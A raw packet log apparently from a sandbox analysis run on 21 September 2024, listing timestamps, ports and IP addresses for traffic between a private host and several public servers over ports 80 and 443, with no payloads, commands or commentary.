Sep 21, 2024 13:33:41.677692890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677692890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677712917 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.677738905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677746058 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.677779913 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.677793980 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677793980 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677813053 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.677848101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.677860022 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677860022 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.677896976 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678033113 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678066969 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678085089 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678102016 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678101063 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678138018 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678142071 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678173065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678193092 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678210020 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678239107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678260088 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678792953 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678844929 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678855896 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678879023 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678911924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678920984 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678920984 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678946972 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678982973 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.678994894 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.678994894 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.679028988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.679148912 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.679182053 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.679203987 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.679219007 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.693106890 CEST	80	49720	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.693175077 CEST	49720	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.693715096 CEST	49720	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.694315910 CEST	49724	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.694999933 CEST	80	49720	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.695059061 CEST	49720	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.696510077 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.696616888 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.698314905 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.698457956 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.700475931 CEST	80	49720	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.700855970 CEST	80	49724	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.701030970 CEST	49724	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.701030970 CEST	49724	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.701509953 CEST	49725	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.707103968 CEST	80	49725	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.707113981 CEST	80	49724	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.707200050 CEST	49724	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.707201958 CEST	49725	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.707411051 CEST	49725	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.707684994 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.707758904 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.707823038 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.708204985 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.708234072 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.708688974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708702087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708714962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708775997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.708775997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.708808899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708821058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708827019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708839893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.708885908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.708885908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709096909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709109068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709127903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709141016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709153891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709158897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709158897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709166050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709180117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709194899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709237099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709237099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709253073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709311962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709333897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709412098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709424019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709436893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709461927 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709461927 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709528923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709561110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709573030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.709619045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709619045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.709856033 CEST	80	49721	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.709899902 CEST	49721	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.710093021 CEST	49721	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.710417032 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.710458994 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.710570097 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.710681915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710695028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710707903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710726976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710738897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710750103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710762024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.710763931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.710762024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.710825920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.710825920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711036921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711049080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711061001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711066008 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.711090088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711091995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711091995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711097002 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.711102009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711116076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711131096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711131096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711144924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711146116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711146116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711159945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711188078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711188078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711188078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711211920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711411953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711424112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711431026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711441994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711452961 CEST	80	49721	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.711494923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711494923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711504936 CEST	49721	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.711806059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711817980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711829901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711843014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711860895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711877108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711893082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711906910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711920023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711930990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711931944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711931944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711944103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711956978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711961031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711961031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.711971998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.711996078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712039948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712330103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712342978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712354898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712364912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712377071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712388992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712403059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712403059 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712403059 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712435007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712459087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712472916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712486029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712497950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712516069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712544918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712558031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712569952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712580919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712593079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712605953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.712630033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712630987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.712691069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713167906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713181019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713193893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713205099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713217974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713229895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713243008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713252068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713252068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713254929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713294983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713327885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713531971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713551044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713562012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713573933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713577032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713587046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713598967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713612080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713612080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713612080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713624954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713638067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713644028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713650942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713663101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713675022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713677883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713677883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713687897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713700056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713711023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713721037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713721037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713726997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.713772058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.713772058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714504957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714517117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714529991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714541912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714555025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714566946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714566946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714566946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714579105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714591980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714602947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714606047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714606047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714612961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714626074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.714628935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714636087 CEST	80	49725	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.714698076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714698076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.714704990 CEST	49725	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.716077089 CEST	80	49721	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.740222931 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740245104 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740261078 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740304947 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.740304947 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.740304947 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.740494013 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740508080 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740520954 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740535021 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.740605116 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.740605116 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.740637064 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.741705894 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741719007 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741731882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741744041 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741756916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741779089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.741779089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.741859913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.741960049 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741972923 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741983891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.741997957 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.742011070 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.742017031 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.742023945 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.742038965 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.742067099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.742067099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.743464947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.743479013 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.743490934 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.743501902 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.743515015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.743529081 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.743573904 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.743573904 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.743645906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.746190071 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746243000 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.746277094 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746289968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746301889 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746315956 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746329069 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746332884 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.746332884 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.746340990 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.746344090 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.746387959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.746417046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.747118950 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.747133017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.747145891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.747157097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.747169971 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.747179985 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.747221947 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.747221947 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.749907017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749921083 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749933004 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749946117 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749958992 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749970913 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749978065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.749978065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.749983072 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.749994993 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.750006914 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.750006914 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.750041008 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.766022921 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766040087 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766053915 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766087055 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.766140938 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.766160965 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766174078 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766186953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766199112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766208887 CEST	49708	80	192.168.2.9	147.45.44.104
